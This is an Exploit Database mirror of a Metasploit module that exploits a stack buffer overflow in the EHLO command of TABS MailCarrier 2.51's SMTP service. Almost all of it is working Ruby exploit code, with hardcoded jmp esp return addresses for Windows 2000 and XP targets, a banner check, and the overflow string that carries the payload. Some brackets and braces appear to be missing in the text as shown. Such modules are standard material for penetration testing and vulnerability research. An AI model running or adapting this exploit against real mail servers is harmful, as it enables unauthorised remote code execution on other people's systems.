TABS MailCarrier 2.51 – SMTP EHLO Overflow (Metasploit)

Exploit Database
146 阅读

作者： Metasploit

日期： 2010-04-30
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16822/

# $Id: mailcarrier_smtp_ehlo.rb 9179 2010-04-30 08:40:19Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GoodRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})

super(update_info(info,

'Name' => 'TABS MailCarrier v2.51 SMTP EHLO Overflow',

'Description' => %q{

This module exploits the MailCarrier v2.51 suite SMTP service.

The stack is overwritten when sending an overly long EHLO command.

'Author' => [ 'Patrick Webster <patrick[at]aushack.com>' ],

'License' => MSF_LICENSE,

'Version' => '$Revision: 9179 $',

'References'=>

[

[ 'CVE', '2004-1638' ],

[ 'OSVDB', '11174' ],

[ 'BID', '11535' ],

[ 'URL', 'http://milw0rm.com/exploits/598' ],

'Platform'=> ['win'],

'Arch' => [ ARCH_X86 ],

'Privileged' => true,

'DefaultOptions' =>

{

'EXITFUNC' => 'thread',

'Payload' =>

{

'Space' => 300,

'BadChars' => "\x00\x0a\x0d:",

'StackAdjustment' => -3500,

'Targets' =>

[

# Patrick - Tested OK 2007/08/05 : w2ksp0, w2ksp4, xpsp0, xpsp2 en.

[ 'Windows 2000 SP0 - XP SP1 - EN/FR/GR', { 'Ret' => 0x0fa14c63 } ], # jmp esp expsrv.dll w2ksp0 - xpsp1

[ 'Windows XP SP2 - EN', { 'Ret' => 0x0fa14ccf } ], # jmp esp expsrv.dll xpsp2 en

'DisclosureDate' => 'Oct 26 2004',

'DefaultTarget' => 0))

register_options(

[

Opt::RPORT(25),

Opt::LHOST(), # Required for stack offset

], self.class)

end

def check

connect

banner = sock.get_once(-1,3)

disconnect

if (banner =~ /ESMTP TABS Mail Server for Windows NT/)

return Exploit::CheckCode::Appears

end

return Exploit::CheckCode::Safe

end

def exploit

connect

sploit = "EHLO " + rand_text_alphanumeric(5106 - datastore['LHOST'].length, payload_badchars)

sploit << [target['Ret']].pack('V') + payload.encoded

sock.put(sploit + "\r\n")

handler

disconnect

end